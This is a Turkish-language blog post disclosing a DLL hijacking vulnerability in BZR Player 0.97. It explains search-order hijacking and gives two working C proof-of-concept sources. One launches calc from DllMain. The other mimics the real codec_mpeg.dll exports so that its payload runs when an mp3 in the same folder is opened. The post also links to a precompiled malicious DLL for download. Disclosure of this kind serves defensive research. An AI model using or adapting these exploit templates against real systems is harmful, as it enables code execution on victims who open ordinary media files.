25 Kasım 2013 Pazartesi

BZR Player 0.97 (codec_mpeg.dll) Dll Hijack Güvenlik Açığı (0-day)

Selamlar,

Son günlerde yaptıgım birkac exploiting ar-ge calismasi sirasinda kesfettiğim BZR Player 0.97 sürümünde olan ki bu aplikasyonun son sürümü dll hijacking güvenlik acigiyla ilgili bir yazi yazacagim.

Oncelikle nedir bu DLL Hijacking?

DLL hijacking windows sistemlerde calisan exe dosyalarin kullandigi yani calisirken yüklediği DLL leri oncelikle calistirdiği dosyanın dosya path inde aramasından ileri gelen güvenlik acıklarıdır. Daha acık anlatırsak. BZR Player dan ornek vereceğim bir media player oldugu icin .m3u , .wav , .mp3 v.b desteklediği mevcuttur ve biz BZR Player i varsayılan media playerimiz olarak isaretlemissek. BZR player mp3 dosyalarını calabilmesi gerekli olan codec_mpeg.dll i mp3 dosyasına tıkladıgımızda yükleyecek ve calmaya baslayacaktır fakat dll dosyasını ilk once .mp3 dosyasının path inde arayacak eger orda bulamazsa kendi kurulum dosyalarının bulundugu dizinde arayacaktır. DLL hijack güvenlik zafiyetleride tam bu noktada devreye girmektedir. Bunu sömürmenin birkac farklı yolu olmakla ben en sık kullanılan 2 metodu anlatacagım.

1. Metod

DLLMain fonksiyonu ile istediğimiz islemi calistirmaktır. En sık kullanılan ve en kolay metodtur.

Asagidaki kodu codec_mpeg.dll olarak derleyip. herhangi bir mp3 dosyasıyla aynı klasore koyarak mp3 dosyasına cift tıkladıgımızda yada Birikte AC > BZR Player sectigimizde kendi path indeki evil dll imizi load edecek ve calc.exe yi calistiracaktir. Ornek kod asagidadir.

***************************
#include <windows.h>

int evilcode()
{
WinExec("calc", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
evilcode();
return 0;
}
****************************

Derleme ile ugrasmak istemeyenler icin derlenmis dosya linkini veriyorum.
http://www.filedropper.com/codecmpeg


Indirginiz dll dosyası ve mp3 dosyasını aynı klasore koyarak BZR player ile actiginizda sisteminizde calculator.exe calisacaktır.


2. Metod

Bu biraz daha mesakatli bir methodtur. Bunda exploit edecegimiz dll dosyasının gerceginin icindeki EXPORTED fonksiyonları bularak o fonksiyonları kendi DLL dosyamızda tanımlayarak sistemi exploit etmeye calisacagiz.Bunun icin ben Visual C++ 6.0 ile beraber gelen dumpbin.exe dosyasını kullanacagim ama siz isterseniz 3rd party Deprencys Walker ida kullanabilirsiniz.

dumpbin.exe dosyası bizim belirttiğimiz dll icerigindeki export edilmis yani disaridan cagrilabilir fonksiyonların isimlerini belirlememizi saglayacak.


 Resimdede görüldüğü gibi codec_mpeg.dll dosyamız dısarıya acık 2 adet fonksiyon bulundurmakta onlarda
_FMODGetCodecDescriptionEx ve _FMODGetDSPDescriptionEx fonksiyonlarıda simdi bu fonksiyonlara uygun C dosyamızı yazarak derledigimizde ve yine mp3 dosyamız ile aynı klasore koydugumuzda calculator.exe nin calistigini gorecegiz. Gerekli C kodu asagidaki gibi olmalıdır.

**************** CODE ***************

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void _FMODGetCodecDescriptionEx() { evil(); }
DLLIMPORT void _FMODGetDSPDescriptionEx() { evil(); }
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
*****************************************
 Exploitle ilgili bir kısa video cekerek olayı daha iyi anlamanız icin ekliyorum..



 


Tesekkurler!!!!







Hiç yorum yok:

Yorum Gönderme